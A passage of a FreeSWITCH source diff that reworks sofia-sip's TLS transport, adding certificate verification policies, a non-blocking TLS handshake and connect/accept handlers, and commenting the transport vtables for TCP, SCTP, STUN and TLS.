+      SU_DEBUG_3(("%s(%p): Peer Subject Mismatch (incoming connection)\n", \
+                   __func__, self));
+
+      return X509_V_ERR_CERT_UNTRUSTED;
     }
-    if (tls->hosts[j] == NULL) {
-      errno = EACCES;
-      return -1;
+  }
+  /* Verify outgoing connections */
+  else {
+    char const *subject = self->tp_canon;
+    if (!tls->verify_outgoing)
+      return X509_V_OK;
+
+    if (!tls->x509_verified || !subject)
+      return error;
+
+    if (tls->verify_subj_out) {
+      if (tport_subject_search(subject, tls->subjects))
+        return X509_V_OK; /* Subject match found in verified certificate chain */
+      SU_DEBUG_3(("%s(%p): Peer Subject Mismatch (%s)\n", \
+                   __func__, self, subject));
+
+      return X509_V_ERR_CERT_UNTRUSTED;
     }
   }
 
-  return 0;
+  return error;
 }
 
 static
@@ -589,7 +681,7 @@
 
   if (0)
     SU_DEBUG_1(("tls_read(%p) called on %s (events %u)\n", (void *)tls,
-	    tls->type == tls_slave ? "server" : "client",
+	    tls->type ? "master" : "slave",
 	    tls->read_events));
 
   if (tls->read_buffer_len)
@@ -601,19 +693,6 @@
   if (ret <= 0)
     return tls_error(tls, ret, "tls_read: SSL_read", NULL, 0);
 
-  if (!tls->verified) {
-    int err = tls_post_connection_check(tls);
-
-    if (err != X509_V_OK &&
-	err != SSL_ERROR_SYSCALL &&
-	err != SSL_ERROR_WANT_WRITE &&
-	err != SSL_ERROR_WANT_READ) {
-      SU_DEBUG_1((
-		 "%s: server certificate doesn't verify\n",
-		 "tls_read"));
-    }
-  }
-
   return (ssize_t)(tls->read_buffer_len = ret);
 }
 
@@ -662,7 +741,7 @@
   if (0)
     SU_DEBUG_1(("tls_write(%p, %p, "MOD_ZU") called on %s\n",
 	    (void *)tls, buf, size,
-	    tls && tls->type == tls_slave ? "server" : "client"));
+	    tls && tls->type == tls_slave ? "master" : "slave"));
 
   if (tls == NULL || buf == NULL) {
     errno = EINVAL;
@@ -694,13 +773,6 @@
 
   tls->write_events = 0;
 
-  if (!tls->verified) {
-    if (tls_post_connection_check(tls) != X509_V_OK) {
-      SU_DEBUG_1((
-		 "tls_read: server certificate doesn't verify\n"));
-    }
-  }
-
   ret = SSL_write(tls->con, buf, size);
   if (ret < 0)
     return tls_error(tls, ret, "tls_write: SSL_write", buf, size);
@@ -748,3 +820,117 @@
     ((mask & SU_WAIT_IN) ? tls->read_events : 0) |
     ((mask & SU_WAIT_OUT) ? tls->write_events : 0);
 }
+
+int tls_connect(su_root_magic_t *magic, su_wait_t *w, tport_t *self)
+{
+  tport_master_t *mr = self->tp_master;
+  tport_tls_t *tlstp = (tport_tls_t *)self;
+  tls_t *tls;
+  int events = su_wait_events(w, self->tp_socket);
+  int error;
+
+  SU_DEBUG_7(("%s(%p): events%s%s%s%s\n", __func__, (void *)self,
+              events & (SU_WAIT_CONNECT) ? " CONNECTING" : "",
+              events & SU_WAIT_IN  ? " NEGOTIATING" : "",
+              events & SU_WAIT_ERR ? " ERROR" : "",
+              events & SU_WAIT_HUP ? " HANGUP" : ""));
+
+#if HAVE_POLL
+  assert(w->fd == self->tp_socket);
+#endif
+
+  if (events & SU_WAIT_ERR)
+    tport_error_event(self);
+
+  if (events & SU_WAIT_HUP && !self->tp_closed)
+    tport_hup_event(self);
+
+  if (self->tp_closed)
+    return 0;
+
+  error = su_soerror(self->tp_socket);
+  if (error) {
+    tport_error_report(self, error, NULL);
+    return 0;
+  }
+
+  if ((tls = tlstp->tlstp_context) == NULL) {
+    SU_DEBUG_3(("%s(%p): Error: no TLS context data for connected socket.\n",
+                __func__, tlstp));
+    tport_close(self);
+    tport_set_secondary_timer(self);
+    return 0;
+  }
+
+  if (self->tp_is_connected == 0) {
+    int ret, status;
+
+    ret = self->tp_accepted ? SSL_accept(tls->con) : SSL_connect(tls->con);
+    status = SSL_get_error(tls->con, ret);
+
+    switch (status) {
+      case SSL_ERROR_WANT_READ:
+        /* OpenSSL is waiting for the peer to send handshake data */
+        self->tp_events = SU_WAIT_IN | SU_WAIT_ERR | SU_WAIT_HUP;
+        su_root_eventmask(mr->mr_root, self->tp_index,
+		          self->tp_socket, self->tp_events);
+        return 0;
+
+      case SSL_ERROR_WANT_WRITE:
+        /* OpenSSL is waiting for the peer to receive handshake data */
+        self->tp_events = SU_WAIT_IN | SU_WAIT_ERR | SU_WAIT_HUP | SU_WAIT_OUT;
+        su_root_eventmask(mr->mr_root, self->tp_index,
+                           self->tp_socket, self->tp_events);
+        return 0;
+
+      case SSL_ERROR_NONE:
+        /* TLS Handshake complete */
+	status = tls_post_connection_check(self, tls);
+        if ( status == X509_V_OK ) {
+          su_wait_t wait[1] = {SU_WAIT_INIT};
+          tport_master_t *mr = self->tp_master;
+
+          su_root_deregister(mr->mr_root, self->tp_index);
+          self->tp_index = -1;
+          self->tp_events = SU_WAIT_IN | SU_WAIT_ERR | SU_WAIT_HUP;
+
+          if ((su_wait_create(wait, self->tp_socket, self->tp_events) == -1) ||
+             ((self->tp_index = su_root_register(mr->mr_root, wait, tport_wakeup,
+                                                           self, 0)) == -1)) {
+            tport_close(self);
+            tport_set_secondary_timer(self);
+	    return 0;
+          }
+
+          tls->read_events = SU_WAIT_IN;
+          tls->write_events = 0;
+          self->tp_is_connected = 1;
+	  self->tp_verified = tls->x509_verified;
+	  self->tp_subjects = tls->subjects;
+
+	  if (tport_has_queued(self))
+            tport_send_event(self);
+          else
+            tport_set_secondary_timer(self);
+
+          return 0;
+	}
+	break;
+
+      default:
+        {
+	  char errbuf[64];
+	  ERR_error_string_n(status, errbuf, 64);
+          SU_DEBUG_3(("%s(%p): TLS setup failed (%s)\n",
+	            __func__, self, errbuf));
+        }
+        break;
+    }
+  }
+
+  /* TLS Handshake Failed or Peer Certificate did not Verify */
+  tport_close(self);
+  tport_set_secondary_timer(self);
+
+  return 0;
+}

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_tls.h (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_tls.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_tls.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -39,6 +39,8 @@
 #include <sofia-sip/su_types.h>
 #endif
 
+#include "tport_internal.h"
+
 SOFIA_BEGIN_DECLS
 
 #define TLS_MAX_HOSTS (16)
@@ -48,9 +50,9 @@
 extern char const tls_version[];
 
 typedef struct tls_issues_s {
-  int   verify_peer;    /* 0: no verify certificate, *
-                         * 1: if fail the TLS/SSL handshake is terminated. */
-  int   verify_depth;   /* if 0, then do nothing                      */
+  unsigned policy;      /* refer to tport_tag.h, tport_tls_verify_policy */
+  unsigned verify_depth;/* if 0, revert to default (2) */
+  unsigned verify_date; /* if 0, notBefore and notAfter dates are ignored */
   int   configured;	/* If non-zero, complain about certificate errors */
   char *cert;		/* CERT file name. File format is PEM         */
   char *key;		/* Private key file. PEM format               */
@@ -64,9 +66,19 @@
 			 * used, it is 0. */
 } tls_issues_t;
 
+typedef struct tport_tls_s {
+  tport_t  tlstp_tp[1];
+  tls_t   *tlstp_context;
+  char    *tlstp_buffer;
+} tport_tls_t;
+
+typedef struct tport_tls_primary_s {
+  tport_primary_t tlspri_pri[1];
+  tls_t *tlspri_master;
+} tport_tls_primary_t;
+
 tls_t *tls_init_master(tls_issues_t *tls_issues);
-tls_t *tls_init_slave(tls_t *tls_master, int sock);
-tls_t *tls_init_client(tls_t *tls_master, int sock);
+tls_t *tls_init_secondary(tls_t *tls_master, int sock, int accept);
 void tls_free(tls_t *tls);
 int tls_get_socket(tls_t *tls);
 ssize_t tls_read(tls_t *tls);
@@ -74,11 +86,10 @@
 int tls_want_read(tls_t *tls, int events);
 int tls_pending(tls_t const *tls);
 
+int tls_connect(su_root_magic_t *magic, su_wait_t *w, tport_t *self);
 ssize_t tls_write(tls_t *tls, void *buf, size_t size);
 int tls_want_write(tls_t *tls, int events);
 
-int tls_check_hosts(tls_t *tls, char const *hosts[TLS_MAX_HOSTS]);
-
 int tls_events(tls_t const *tls, int flags);
 
 SOFIA_END_DECLS

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_type_connect.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_type_connect.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_type_connect.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -76,21 +76,27 @@
 
 tport_vtable_t const tport_http_connect_vtable =
 {
-  "TCP", tport_type_connect,
-  sizeof (tport_http_connect_t),
-  tport_http_connect_init_primary,
-  tport_http_connect_deinit_primary,
-  NULL,
-  tport_http_connect,
-  sizeof (tport_http_connect_instance_t),
-  NULL,
-  NULL,
-  NULL,
-  NULL,
-  NULL,
-  tport_recv_stream,
-  tport_send_stream,
-  tport_http_deliver,
+  /* vtp_name 		     */ "TCP",
+  /* vtp_public              */ tport_type_connect,
+  /* vtp_pri_size            */ sizeof (tport_http_connect_t),
+  /* vtp_init_primary        */ tport_http_connect_init_primary,
+  /* vtp_deinit_primary      */ tport_http_connect_deinit_primary,
+  /* vtp_wakeup_pri          */ NULL,
+  /* vtp_connect             */ tport_http_connect,
+  /* vtp_secondary_size      */ sizeof (tport_http_connect_instance_t),
+  /* vtp_init_secondary      */ NULL,
+  /* vtp_deinit_secondary    */ NULL,
+  /* vtp_shutdown            */ NULL,
+  /* vtp_set_events          */ NULL,
+  /* vtp_wakeup              */ NULL,
+  /* vtp_recv                */ tport_recv_stream,
+  /* vtp_send                */ tport_send_stream,
+  /* vtp_deliver             */ tport_http_deliver,
+  /* vtp_prepare             */ NULL,
+  /* vtp_keepalive           */ NULL,
+  /* vtp_stun_response       */ NULL,
+  /* vtp_next_secondary_timer*/ NULL,
+  /* vtp_secondary_timer     */ NULL,
 };
 
 static int tport_http_connect_init_primary(tport_primary_t *pri,

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_type_sctp.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_type_sctp.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_type_sctp.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -102,50 +102,52 @@
 
 tport_vtable_t const tport_sctp_client_vtable =
 {
-  "sctp", tport_type_client,
-  sizeof (tport_primary_t),
-  tport_sctp_init_client,
-  NULL,
-  tport_accept,
-  NULL,
-  sizeof (tport_t),
-  tport_sctp_init_secondary,
-  NULL,
-  NULL,
-  NULL,
-  NULL,
-  tport_recv_sctp,
-  tport_send_sctp,
-  NULL,
-  NULL,
-  NULL,
-  NULL,
-  tport_sctp_next_timer,
-  tport_sctp_timer,
+  /* vtp_name 		     */ "sctp",
+  /* vtp_public              */ tport_type_client,
+  /* vtp_pri_size            */ sizeof (tport_primary_t),
+  /* vtp_init_primary        */ tport_sctp_init_client,
+  /* vtp_deinit_primary      */ NULL,
+  /* vtp_wakeup_pri          */ tport_accept,
+  /* vtp_connect             */ NULL,
+  /* vtp_secondary_size      */ sizeof (tport_t),
+  /* vtp_init_secondary      */ tport_sctp_init_secondary,
+  /* vtp_deinit_secondary    */ NULL,
+  /* vtp_shutdown            */ NULL,
+  /* vtp_set_events          */ NULL,
+  /* vtp_wakeup              */ NULL,
+  /* vtp_recv                */ tport_recv_sctp,
+  /* vtp_send                */ tport_send_sctp,
+  /* vtp_deliver             */ NULL,
+  /* vtp_prepare             */ NULL,
+  /* vtp_keepalive           */ NULL,
+  /* vtp_stun_response       */ NULL,
+  /* vtp_next_secondary_timer*/ tport_sctp_next_timer,
+  /* vtp_secondary_timer     */ tport_sctp_timer,
 };
 
 tport_vtable_t const tport_sctp_vtable =
 {
-  "sctp", tport_type_local,
-  sizeof (tport_primary_t),
-  tport_sctp_init_primary,
-  NULL,
-  tport_accept,
-  NULL,
-  sizeof (tport_t),
-  tport_sctp_init_secondary,
-  NULL,
-  NULL,
-  NULL,
-  NULL,
-  tport_recv_sctp,
-  tport_send_sctp,
-  NULL,
-  NULL,
-  NULL,
-  NULL,
-  tport_sctp_next_timer,
-  tport_sctp_timer,
+  /* vtp_name 		     */ "sctp",
+  /* vtp_public              */ tport_type_local,
+  /* vtp_pri_size            */ sizeof (tport_primary_t),
+  /* vtp_init_primary        */ tport_sctp_init_primary,
+  /* vtp_deinit_primary      */ NULL,
+  /* vtp_wakeup_pri          */ tport_accept,
+  /* vtp_connect             */ NULL,
+  /* vtp_secondary_size      */ sizeof (tport_t),
+  /* vtp_init_secondary      */ tport_sctp_init_secondary,
+  /* vtp_deinit_secondary    */ NULL,
+  /* vtp_shutdown            */ NULL,
+  /* vtp_set_events          */ NULL,
+  /* vtp_wakeup              */ NULL,
+  /* vtp_recv                */ tport_recv_sctp,
+  /* vtp_send                */ tport_send_sctp,
+  /* vtp_deliver             */ NULL,
+  /* vtp_prepare             */ NULL,
+  /* vtp_keepalive           */ NULL,
+  /* vtp_stun_response       */ NULL,
+  /* vtp_next_secondary_timer*/ tport_sctp_next_timer,
+  /* vtp_secondary_timer     */ tport_sctp_timer,
 };
 
 static int tport_sctp_init_primary(tport_primary_t *pri,

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_type_stun.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_type_stun.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_type_stun.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -77,24 +77,27 @@
 
 tport_vtable_t const tport_stun_vtable =
 {
-  "UDP", tport_type_stun,
-  sizeof (tport_primary_t),
-  tport_udp_init_stun,
-  tport_udp_deinit_stun,
-  NULL,
-  NULL,
-  sizeof (tport_t),
-  NULL,
-  NULL,
-  NULL,
-  NULL,
-  NULL,
-  tport_recv_dgram,
-  tport_send_dgram,
-  NULL,
-  NULL,
-  tport_stun_keepalive,
-  tport_stun_response
+  /* vtp_name 		     */ "UDP",
+  /* vtp_public              */ tport_type_stun,
+  /* vtp_pri_size            */ sizeof (tport_primary_t),
+  /* vtp_init_primary        */ tport_udp_init_stun,
+  /* vtp_deinit_primary      */ tport_udp_deinit_stun,
+  /* vtp_wakeup_pri          */ NULL,
+  /* vtp_connect             */ NULL,
+  /* vtp_secondary_size      */ sizeof (tport_t),
+  /* vtp_init_secondary      */ NULL,
+  /* vtp_deinit_secondary    */ NULL,
+  /* vtp_shutdown            */ NULL,
+  /* vtp_set_events          */ NULL,
+  /* vtp_wakeup              */ NULL,
+  /* vtp_recv                */ tport_recv_dgram,
+  /* vtp_send                */ tport_send_dgram,
+  /* vtp_deliver             */ NULL,
+  /* vtp_prepare             */ NULL,
+  /* vtp_keepalive           */ tport_stun_keepalive,
+  /* vtp_stun_response       */ tport_stun_response,
+  /* vtp_next_secondary_timer*/ NULL,
+  /* vtp_secondary_timer     */ NULL,
 };
 
 static int tport_udp_init_stun(tport_primary_t *pri,

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_type_tcp.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_type_tcp.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_type_tcp.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -63,50 +63,52 @@
 
 tport_vtable_t const tport_tcp_vtable =
 {
-  "tcp", tport_type_local,
-  sizeof (tport_primary_t),
-  tport_tcp_init_primary,
-  NULL,
-  tport_accept,
-  NULL,
-  sizeof (tport_t),
-  tport_tcp_init_secondary,
-  NULL,
-  NULL,
-  NULL,
-  NULL,
-  tport_recv_stream,
-  tport_send_stream,
-  NULL,
-  NULL,
-  NULL,
-  NULL,
-  tport_tcp_next_timer,
-  tport_tcp_timer,
+  /* vtp_name 		     */ "tcp",
+  /* vtp_public              */ tport_type_local,
+  /* vtp_pri_size            */ sizeof (tport_primary_t),
+  /* vtp_init_primary        */ tport_tcp_init_primary,
+  /* vtp_deinit_primary      */ NULL,
+  /* vtp_wakeup_pri          */ tport_accept,
+  /* vtp_connect             */ NULL,
+  /* vtp_secondary_size      */ sizeof (tport_t),
+  /* vtp_init_secondary      */ tport_tcp_init_secondary,
+  /* vtp_deinit_secondary    */ NULL,
+  /* vtp_shutdown            */ NULL,
+  /* vtp_set_events          */ NULL,
+  /* vtp_wakeup              */ NULL,
+  /* vtp_recv                */ tport_recv_stream,
+  /* vtp_send                */ tport_send_stream,
+  /* vtp_deliver             */ NULL,
+  /* vtp_prepare             */ NULL,
+  /* vtp_keepalive           */ NULL,
+  /* vtp_stun_response       */ NULL,
+  /* vtp_next_secondary_timer*/ tport_tcp_next_timer,
+  /* vtp_secondary_timer     */ tport_tcp_timer,
 };
 
 tport_vtable_t const tport_tcp_client_vtable =
 {
-  "tcp", tport_type_client,
-  sizeof (tport_primary_t),
-  tport_tcp_init_client,
-  NULL,
-  NULL,
-  NULL,
-  sizeof (tport_t),
-  tport_tcp_init_secondary,
-  NULL,
-  NULL,
-  NULL,
-  NULL,
-  tport_recv_stream,
-  tport_send_stream,
-  NULL,
-  NULL,
-  NULL,
-  NULL,
-  tport_tcp_next_timer,
-  tport_tcp_timer,
+  /* vtp_name 		     */ "tcp",
+  /* vtp_public              */ tport_type_client,
+  /* vtp_pri_size            */ sizeof (tport_primary_t),
+  /* vtp_init_primary        */ tport_tcp_init_client,
+  /* vtp_deinit_primary      */ NULL,
+  /* vtp_wakeup_pri          */ NULL,
+  /* vtp_connect             */ NULL,
+  /* vtp_secondary_size      */ sizeof (tport_t),
+  /* vtp_init_secondary      */ tport_tcp_init_secondary,
+  /* vtp_deinit_secondary    */ NULL,
+  /* vtp_shutdown            */ NULL,
+  /* vtp_set_events          */ NULL,
+  /* vtp_wakeup              */ NULL,
+  /* vtp_recv                */ tport_recv_stream,
+  /* vtp_send                */ tport_send_stream,
+  /* vtp_deliver             */ NULL,
+  /* vtp_prepare             */ NULL,
+  /* vtp_keepalive           */ NULL,
+  /* vtp_stun_response       */ NULL,
+  /* vtp_next_secondary_timer*/ tport_tcp_next_timer,
+  /* vtp_secondary_timer     */ tport_tcp_timer,
 };
 
 static int tport_tcp_setsndbuf(int socket, int atleast);
@@ -391,7 +393,7 @@
     if (self->tp_msg &&
 	su_time_cmp(su_time_add(self->tp_rtime, timeout), now) < 0) {
       msg_t *msg = self->tp_msg;
-      msg_set_streaming(msg, 0);
+      msg_set_streaming(msg, (enum msg_streaming_status)0);
       msg_set_flags(msg, MSG_FLG_ERROR | MSG_FLG_TRUNC | MSG_FLG_TIMEOUT);
       tport_deliver(self, msg, NULL, NULL, now);
       self->tp_msg = NULL;

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_type_tls.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_type_tls.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_type_tls.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -31,6 +31,7 @@
  * @author Tat Chan <Tat.Chan@nokia.com>
  * @author Kai Vehmanen <kai.vehmanen@nokia.com>
  * @author Martti Mela <Martti.Mela@nokia.com>
+ * @author Jarod Neuner <janeuner@networkharbor.com>
  *
  * @date Split here: Fri Mar 24 08:45:49 EET 2006 ppessi
  * @date Originally Created: Thu Jul 20 12:54:32 2000 ppessi
@@ -38,6 +39,8 @@
 
 #include "config.h"
 
+#define SU_WAKEUP_ARG_T  struct tport_s
+
 #include "tport_internal.h"
 
 #include <stdlib.h>
@@ -46,7 +49,7 @@
 #include <errno.h>
 #include <limits.h>
 #include <string.h>
-#include <sofia-sip/string0.h>
+#include <sofia-sip/su_string.h>
 
 #if HAVE_FUNC
 #elif HAVE_FUNCTION
@@ -89,54 +92,58 @@
 static int tport_tls_recv(tport_t *self);
 static ssize_t tport_tls_send(tport_t const *self, msg_t *msg,
 			      msg_iovec_t iov[], size_t iovused);
+static int tport_tls_accept(tport_primary_t *pri, int events);
+static tport_t *tport_tls_connect(tport_primary_t *pri, su_addrinfo_t *ai,
+                                  tp_name_t const *tpn);
 
-typedef struct
-{
-  tport_primary_t tlspri_pri[1];
-  tls_t *tlspri_master;
-} tport_tls_primary_t;
-
-typedef struct
-{
-  tport_t tlstp_tp[1];
-  tls_t  *tlstp_context;
-  char   *tlstp_buffer;    /**< 2k Buffer  */
-} tport_tls_t;
-
 tport_vtable_t const tport_tls_vtable =
 {
-  "tls", tport_type_local,
-  sizeof (tport_tls_primary_t),
-  tport_tls_init_primary,
-  tport_tls_deinit_primary,
-  tport_accept,
-  NULL,
-  sizeof (tport_tls_t),
-  tport_tls_init_secondary,
-  tport_tls_deinit_secondary,
-  tport_tls_shutdown,
-  tport_tls_set_events,
-  tport_tls_events,
-  tport_tls_recv,
-  tport_tls_send,
+  /* vtp_name 		     */ "tls",
+  /* vtp_public              */ tport_type_local,
+  /* vtp_pri_size            */ sizeof (tport_tls_primary_t),
+  /* vtp_init_primary        */ tport_tls_init_primary,
+  /* vtp_deinit_primary      */ tport_tls_deinit_primary,
+  /* vtp_wakeup_pri          */ tport_tls_accept,
+  /* vtp_connect             */ tport_tls_connect,
+  /* vtp_secondary_size      */ sizeof (tport_tls_t),
+  /* vtp_init_secondary      */ tport_tls_init_secondary,
+  /* vtp_deinit_secondary    */ tport_tls_deinit_secondary,
+  /* vtp_shutdown            */ tport_tls_shutdown,
+  /* vtp_set_events          */ tport_tls_set_events,
+  /* vtp_wakeup              */ tport_tls_events,
+  /* vtp_recv                */ tport_tls_recv,
+  /* vtp_send                */ tport_tls_send,
+  /* vtp_deliver             */ NULL,
+  /* vtp_prepare             */ NULL,
+  /* vtp_keepalive           */ NULL,
+  /* vtp_stun_response       */ NULL,
+  /* vtp_next_secondary_timer*/ NULL,
+  /* vtp_secondary_timer     */ NULL,
 };
 
 tport_vtable_t const tport_tls_client_vtable =
 {
-  "tls", tport_type_client,
-  sizeof (tport_tls_primary_t),
-  tport_tls_init_client,
-  tport_tls_deinit_primary,
-  tport_accept,
-  NULL,
-  sizeof (tport_tls_t),
-  tport_tls_init_secondary,
-  tport_tls_deinit_secondary,
-  tport_tls_shutdown,
-  tport_tls_set_events,
-  tport_tls_events,
-  tport_tls_recv,
-  tport_tls_send,
+  /* vtp_name 		     */ "tls",
+  /* vtp_public              */ tport_type_client,
+  /* vtp_pri_size            */ sizeof (tport_tls_primary_t),
+  /* vtp_init_primary        */ tport_tls_init_client,
+  /* vtp_deinit_primary      */ tport_tls_deinit_primary,
+  /* vtp_wakeup_pri          */ tport_tls_accept,
+  /* vtp_connect             */ tport_tls_connect,
+  /* vtp_secondary_size      */ sizeof (tport_tls_t),
+  /* vtp_init_secondary      */ tport_tls_init_secondary,
+  /* vtp_deinit_secondary    */ tport_tls_deinit_secondary,
+  /* vtp_shutdown            */ tport_tls_shutdown,
+  /* vtp_set_events          */ tport_tls_set_events,
+  /* vtp_wakeup              */ tport_tls_events,
+  /* vtp_recv                */ tport_tls_recv,
+  /* vtp_send                */ tport_tls_send,
+  /* vtp_deliver             */ NULL,
+  /* vtp_prepare             */ NULL,
+  /* vtp_keepalive           */ NULL,
+  /* vtp_stun_response       */ NULL,
+  /* vtp_next_secondary_timer*/ NULL,
+  /* vtp_secondary_timer     */ NULL,
 };
 
 static int tport_tls_init_primary(tport_primary_t *pri,
@@ -175,6 +182,10 @@
   char const *path = NULL;
   unsigned tls_version = 1;
   unsigned tls_verify = 0;
+  unsigned tls_policy = TPTLS_VERIFY_NONE;
+  unsigned tls_depth = 0;
+  unsigned tls_date = 1;
+  su_strlst_t const *tls_subjects = NULL;
   su_home_t autohome[SU_HOME_AUTO_SIZE(1024)];
   tls_issues_t ti = {0};
 
@@ -187,6 +198,10 @@
 	  TPTAG_CERTIFICATE_REF(path),
 	  TPTAG_TLS_VERSION_REF(tls_version),
 	  TPTAG_TLS_VERIFY_PEER_REF(tls_verify),
+	  TPTAG_TLS_VERIFY_POLICY_REF(tls_policy),
+	  TPTAG_TLS_VERIFY_DEPTH_REF(tls_depth),
+	  TPTAG_TLS_VERIFY_DATE_REF(tls_date),
+	  TPTAG_TLS_VERIFY_SUBJECTS_REF(tls_subjects),
 	  TAG_END());
 
   if (!path) {
@@ -197,8 +212,9 @@
   }
 
   if (path) {
-    ti.verify_peer = tls_verify;
-    ti.verify_depth = 2;
+    ti.policy = tls_policy | (tls_verify ? TPTLS_VERIFY_ALL : 0);
+    ti.verify_depth = tls_depth;
+    ti.verify_date = tls_date;
     ti.configured = path != tbf;
     ti.randFile = su_sprintf(autohome, "%s/%s", path, "tls_seed.dat");
     ti.key = su_sprintf(autohome, "%s/%s", path, "agent.pem");
@@ -220,15 +236,25 @@
   su_home_zap(autohome);
 
   if (!tlspri->tlspri_master) {
+    /*
     if (!path || ti.configured) {
       SU_DEBUG_1(("tls_init_master: %s\n", strerror(errno)));
     }
     else {
       SU_DEBUG_5(("tls_init_master: %s\n", strerror(errno)));
     }
+    */
     return *return_culprit = "tls_init_master", -1;
+  } else {
+    char buf[TPORT_HOSTPORTSIZE];
+    su_sockaddr_t *sa = ai ? (void *)(ai->ai_addr) : NULL;
+    if (sa && tport_hostport(buf, sizeof(buf), sa, 2))
+      SU_DEBUG_5(("%s(%p): tls context initialized for %s\n", \
+                  __func__, (void *)pri, buf));
   }
 
+  if (tls_subjects)
+    pri->pri_primary->tp_subjects = su_strlst_dup(pri->pri_home, tls_subjects);
   pri->pri_has_tls = 1;
 
   return 0;
@@ -251,11 +277,9 @@
   if (tport_tcp_init_secondary(self, socket, accepted, return_reason) < 0)
     return -1;
 
-  if (accepted) {
-    tlstp->tlstp_context = tls_init_slave(master, socket);
-    if (!tlstp->tlstp_context)
-      return *return_reason = "tls_init_slave", -1;
-  }
+  tlstp->tlstp_context = tls_init_secondary(master, socket, accepted);
+  if (!tlstp->tlstp_context)
+    return *return_reason = "tls_init_slave", -1;
 
   return 0;
 }
@@ -443,20 +467,12 @@
 		       msg_iovec_t iov[],
 		       size_t iovlen)
 {
-  tport_tls_primary_t *tlspri = (tport_tls_primary_t *)self->tp_pri;
   tport_tls_t *tlstp = (tport_tls_t *)self;
   enum { TLSBUFSIZE = 2048 };
   size_t i, j, n, m, size = 0;
   ssize_t nerror;
   int oldmask, mask;
 
-  if (tlstp->tlstp_context == NULL) {
-    tls_t *master = tlspri->tlspri_master;
-    tlstp->tlstp_context = tls_init_client(master, self->tp_socket);
-    if (!tlstp->tlstp_context)
-      return -1;
-  }
-
   oldmask = tls_events(tlstp->tlstp_context, self->tp_events);
 
 #if 0
@@ -527,3 +543,144 @@
 
   return size;
 }
+
+static
+int tport_tls_accept(tport_primary_t *pri, int events)
+{
+  tport_t *self;
+  su_addrinfo_t ai[1];
+  su_sockaddr_t su[1];
+  socklen_t sulen = sizeof su;
+  su_socket_t s = INVALID_SOCKET, l = pri->pri_primary->tp_socket;
+  char const *reason = "accept";
+
+  if (events & SU_WAIT_ERR)
+    tport_error_event(pri->pri_primary);
+
+  if (!(events & SU_WAIT_ACCEPT))
+    return 0;
+
+  memcpy(ai, pri->pri_primary->tp_addrinfo, sizeof ai);
+  ai->ai_canonname = NULL;
+
+  s = accept(l, &su->su_sa, &sulen);
+
+  if (s < 0) {
+    tport_error_report(pri->pri_primary, su_errno(), NULL);
+    return 0;
+  }
+
+  ai->ai_addr = &su->su_sa, ai->ai_addrlen = sulen;
+
+  /* Alloc a new transport object, then register socket events with it */
+  if ((self = tport_alloc_secondary(pri, s, 1, &reason)) == NULL) {
+    SU_DEBUG_3(("%s(%p): incoming secondary on "TPN_FORMAT
+                " failed. reason = %s\n", __func__, pri,
+                TPN_ARGS(pri->pri_primary->tp_name), reason));
+    return 0;
+  }
+  else {
+    int events = SU_WAIT_IN|SU_WAIT_ERR|SU_WAIT_HUP;
+
+    SU_CANONIZE_SOCKADDR(su);
+
+    if (/* Name this transport */
+        tport_setname(self, pri->pri_protoname, ai, NULL) != -1
+	/* Register this secondary */
+	&&
+	tport_register_secondary(self, tls_connect, events) != -1) {
+
+      self->tp_conn_orient = 1;
+      self->tp_is_connected = 0;
+
+      SU_DEBUG_5(("%s(%p): new connection from " TPN_FORMAT "\n",
+		  __func__,  (void *)self, TPN_ARGS(self->tp_name)));
+
+      /* Return succesfully */
+      return 0;
+    }
+
+    /* Failure: shutdown socket,  */
+    tport_close(self);
+    tport_zap_secondary(self);
+    self = NULL;
+  }
+
+  return 0;
+}
+
+static
+tport_t *tport_tls_connect(tport_primary_t *pri,
+                           su_addrinfo_t *ai,
+			   tp_name_t const *tpn)
+{
+  tport_t *self = NULL;
+
+  su_socket_t s, server_socket;
+  int events = SU_WAIT_CONNECT | SU_WAIT_ERR;
+
+  int err;
+  unsigned errlevel = 3;
+  char buf[TPORT_HOSTPORTSIZE];
+  char const *what;
+
+  what = "su_socket";
+  s = su_socket(ai->ai_family, ai->ai_socktype, ai->ai_protocol);
+  if (s == INVALID_SOCKET)
+    goto sys_error;
+
+  what = "tport_alloc_secondary";
+  if ((self = tport_alloc_secondary(pri, s, 0, &what)) == NULL)
+    goto sys_error;
+
+  self->tp_conn_orient = 1;
+
+  if ((server_socket = pri->pri_primary->tp_socket) != INVALID_SOCKET) {
+    su_sockaddr_t susa;
